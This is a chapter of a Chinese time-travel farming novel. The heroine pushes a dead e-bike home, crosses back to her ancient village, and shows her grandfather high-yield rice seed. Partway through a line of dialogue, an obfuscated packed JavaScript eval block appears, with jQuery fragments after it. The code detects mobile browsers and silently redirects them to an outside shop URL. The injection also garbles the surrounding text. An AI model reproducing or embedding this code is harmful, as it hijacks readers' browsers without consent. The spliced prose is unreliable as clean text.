35.第 35 章
作品:《种田:大力女现代搬砖,古代当地主》 一路胡思乱想,好不容易到了医院。
赵兰兰满心欢喜地坐上丁春花的电动车。
可老天爷好像总爱捉弄人。
骑到半路,电动车突然彻底没电了。
趴在路上一动不动。
赵兰兰立刻跳下车,推着车就往家赶。
推了一段,回头看丁春花没跟上。
索性让她坐上车座,把着方向,自己在后面往前推。
手臂绷紧,双腿用力往前蹬。
这点力气活,放在平时,对赵兰兰来说,都不算事。
可今天忙了一整天,刚刚又搬了汽车。
早已耗尽了她的体力。
这会儿每跑一步,身体都像灌了铅一样沉重。
肌肉又酸又软。
汗水跟不要钱似得,滴了一路。
路边的灯一盏接一盏被甩到身后,光影在模糊的视线里连成昏黄的一片。
恍惚间,她分不清自己是在大福村,还是跑在什么缥缈的仙宫里。
快到了。
就快到了。
拼死拼活,比平时多花了整整十五分钟才冲到丁春花家门口。
赵兰兰一把将丁春花和车推过去,转身冲回自己家门口。
“兰兰,今晚煮面……”
就在脚尖踏进房门的那一瞬间。
赵兰兰消失了。
而另一边。
赵兰兰再不回来,大福村都要乱套了。
“老头子,这天都大亮了,大兰子咋地还没回?”
赵老太看着高高的日头问道。
老赵头紧皱双眉,掐指算时辰:
“辰时二刻,过五个时辰,那就是酉时。”
“算出来没?”
“按理该回来了。”老赵头不信邪,掰着手指继续算来算去。
“不会是在外头出事了吧?”
赵老太止不住地担忧。
“阿奶,姐怎么还没回?”
赵老太回头一看,没人。
把门拉开一条小缝,才发现了站在外面的赵永康,带着赵兰兰特制的防晒斗笠。
“小孩家家的,别乱说!”
赵老太看着外面的太阳,一把将赵永康拉进灶房,“当心些!”
“可姐还没回。”
赵永康掀起罩子,看着赵老太。
见赵老太迟迟不做声,又去盯着老赵头。
“不会出事的,应当是耽搁了,再等等。”
老赵头不知是在安慰赵永康,还是在安慰自己。
赵兰兰去的地方,谁也去不了,想找人都没法子。
叹了口气,老赵头微驼着背出门。
“你去哪儿?”赵老太连忙追问。
“再去拿点纸钱。”
“多拿点!”
赵老太隔着门叮嘱道。
“拿纸钱做什么?”
赵永康不明就里,看他爷奶的脸色,给他的感觉很不好,
“阿奶,姐到底去哪了?我去找她!”
“要能找我们早去找了,哪里会等到这时候?”赵老太很无奈。
祖宗啊,菩萨啊,保佑我家孙女不要出事啊。
赵老太站在之前那堆纸灰前面,心里默念。
“天都亮了,定能找到!”
赵永康带上斗笠,
“阿奶,姐是去镇上了吗?”
一出门,便遇到拿纸钱回来的老赵头。
“你几时看到大兰子去镇上了?”
老赵头说完不再理会,站在灶台前,烧纸找人脉,
“老祖啊,大兰子还没回来,你在天上帮忙问问看。
老赵家就这么一个孙女,你可要保佑她平安啊……”
“阿爷?”赵永康两眼直愣愣地看着老赵头烧纸。
烧纸他熟。
不过年,不过节的烧纸,就是有事相求。
那些,人没办法解决的事,就会祈求神仙的帮助。
生病这么多年,他最知道这世上没有神仙。
求神无用!
“我去找,去村里,去镇上,去县里!”
“阿哥,你去找什么?”
赵永健嘴里嚼着生红薯,手上一用力就把赵永康拉进了灶房,
“阿奶,要开始做饭了吗?阿爹阿娘他们都要回来了。”
“你松开!”赵永康使劲拽回自己的袖子。
“不松。哥你要不要吃一口,又脆又甜。”
咔嚓,吃一口红薯。
“你松开!”
……
“老头子,还有其他法子没?”
眼看纸都烧没了,还是没动静,赵老太慌极了。
老赵头狠狠地咂吧了两口烟枪,压下烦乱的思绪,冷静回想赵兰兰每次回来说的话。
大兰子有吃有穿有地住,一起干活的人对她都不错,还有医术高超的医生。
在那边应当过得挺好,挺安全。
到底是哪里出了问题呢?
老赵头围着灶台慢慢踱步。
赵永健意识到气氛不对,小心地咽下刚咬的红薯,硌得嗓子生疼。
“康儿,”
老赵头在灶台缺口处站定,沉默了许久终于下定决心,准备让赵永康试试看。
转头看到了旁边的赵永健,又看了看赵永康,招手:
“大健子,你过来。”
赵老太瞬间就明白了老赵头的意思。
“大健子,过来。”
老赵头用烟枪,指着缺口处,
“对着这个地方砸一拳,用最大的力气。”
赵永健把剩下的红薯塞进嘴里,走到老赵头身边,可怜兮兮地举着手:
“阿爷,用左手行吗?我右手抓着我哥呢。”
“砸!”
“啊!”
赵永健大喝一声,握着拳头,闭着眼使劲朝灶台砸去。
“哎哟!”
赵兰兰没想到一出来就挨了一拳:“大健子!”
顺手给了赵永健一下。
“嗷!”
杀猪般的声音像是要把屋顶掀翻。
赵老太看着赵兰兰不像受伤的样子,憋了许久的眼泪终于忍不住落下来:
“回来就好,回来就好。”
“大姐,我手都肿了!”
赵永健的手臂渐渐浮起半个手掌印,全然顾不上他哥。
赵永康得以脱身,几步走到赵兰兰面前:
“姐,你回来了!”
“嗯,回来了。”
赵兰兰摸了摸赵永康的斗笠,然后对着老赵头解释道,
“阿爷,回来晚了,让你们担心了。”
老赵头连连摇头,笑着说:
“回来就好,回来就好。”
“大姐,我手都肿了!你看看!”
赵永健看着这几人旁若无他的样子,举着手把大掌印怼到赵兰兰面前。
赵兰兰看到了。
红彤彤的半个手掌印。
她的。
明明收着劲了,怎么还肿起这么高?
摸了摸鼻子:“那要不你打回来吧。”
赵永健记事的时候,赵兰兰已经开始跟着大人下地干活了。
他错过了赵兰兰当村霸的时光。
只知道他姐的名头在同辈里特别好使。
“我打你做什么?我不打,打你我手不是更痛了吗?”
吃亏的事,赵永健不干。
赵兰兰两手一摊:
“那你说怎么办?我今天没买东西。”
“行了,大健子,等下我给你加一块糖饼。”
赵老太把赵永健的小心思看得明明白白的。
吃货能有什么坏心思?
“好哒,阿奶。”
赵永健满口答应,笑嘻嘻地对赵兰兰说,
“大姐,下次打轻一点,不然我可要加价的。”
“阿奶,有吃的吗?”
赵兰兰没来得及吃晚饭,就被送回大福村了。
现在肚子空荡荡,全身力气像被吸干了一样,难受极了。
“有,有红薯。”
赵老太揭开锅盖,装了满满一海碗,
“你先吃着,等下不够再来拿。”
赵永健使劲咽口水:“阿奶,我去搬柴火。”
“不用搬。”
赵老太递过去一碗红薯,“过来,拿去堂屋,一人分一个,先吃着。”
赵永健高兴地接过,随后又想起还在干活的大人们:
“不等阿爹他们吗?”
“给他们的都留着呢,一回来就有得吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955012|190097||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
赵老太用碗把锅里剩下的红薯盛出,把锅头空出来煮鸡蛋汤。
王大妮上山干活了,煮汤这事只能赵老太亲自来。
味差了那么一点,倒也差得不多,毕竟是鸡蛋。
赵兰兰狼吞虎咽地把五个大红薯吃完,还是饿:
“阿奶,再给我来一碗。”
“怎么累成这样了?”
赵老太又给夹了一大碗,
“慢些吃,等会还有汤,不够再煮。”
赵兰兰连吃了三海碗红薯,才慢慢缓过劲来,从腰包里掏出稻穗:
“阿爷,给你这个。”
“这是稻子?”
老赵头双手接过,难掩激动,
“要是正常时节,我们家的稻谷也该收成了。”
摘下一颗,放嘴里,咬开,结实饱满,粉糯,还带着丝微甜:
“你莫不是把人家地头里最好的谷子摘回来了?可不能糟践粮食。”
老赵头教育完赵兰兰,又看着稻谷羡慕地说道,
“这人是把种地的好手啊,要是咱家的稻谷也能结这么多谷子,就能天天吃白米饭了。”
赵兰兰低头吸了口鸡蛋汤:
“阿爷,那边都是这样的,一大片都是。”
老赵头没明白。
都是“这样”是“哪样”?
“杆子又粗又壮,谷子又多又饱满。”
赵兰兰把汤喝了个干净,确认碗壁上没有鸡蛋渣。
顺手把碗放在地上,指着老赵头手里的稻穗:
“每根杆子上都是这么多的谷子,整片田都是如此,旁边的田也是如此。”
老赵头两眼锃亮:
“那该是种子好啊!”
老庄稼人最知道种子有多重要。
赵兰兰说完她要说的话,去盛了一大碗鸡蛋汤。
赵老太又塞了一碗刚煮好红薯。
之前煮好的红薯被吃的差不多了,赵老太又煮了一锅。
“大兰子,你说这种子我们这里能种吗?”
老赵头避开灶台低声问道。
种地的事,赵兰兰一腔不通:
“不知道,要不试试?”
“嘘~这能随便试吗?上边知道了咋办?”
老赵头指了指灶台又指了指天,觉得自家孙女真是个大傻个。
忍不住又摘下一颗谷子放嘴里,对赵兰兰悄声说道,
“谁家有好种子不是自家收着藏着?”
“丁大姐说,那边家家户户都是这样的种子,能亩产上千斤。”
赵兰兰随意抛下一个重磅消息。
“多少!上千斤?一亩?”
把碗里的东西吃干净,赵兰兰终于觉得肚里有东西了。
搬完车以后总觉得饭量似乎比之前更大了。
“大兰子,当真一亩上千斤?”
“那位阿爷是这么说的。”
赵兰兰仔细回想中午吃饭时那对老夫妻说的话,
“七八百斤定是没问题的。阿爷,我们试试吧?”
“试试?”
老赵头想跟赵兰兰好好商量商量。
结果赵兰兰说完就去找赵老太要糖饼了。
看着手里的稻谷,能天天吃白米饭,谁能不愿意?
要是成了,大家就不需要为了口吃的背井离乡。
老赵头看着外面冒着热气的地面,拿饭碗舀了半碗水,摘下一半稻谷粒放进水里泡着:
“试试!”
“阿爷,阿奶喊你吃饭呢。”
老赵头对赵永福招手:
“阿福,过来,你看看这是什么?”
“是大米!大健哥带我捡过。”
赵永福认出稻谷。
“你说得对,也不对,这是大米的阿娘,可以生出许许多多的大米。”
老赵头心情极好。
好似碗里的谷子已经发芽,抽穗,一束束金黄饱满的稻谷迎着风,晃着脑袋。
赵永福也晃着脑袋,表示听不懂。
“听不懂啊?没关系,有了这个,我们就能每天吃一顿白米饭。”
老赵头耐心极了。
“那能每天吃肉包子吗?”
在赵永福的小小世界里,肉包子才是最美味的。
“……”

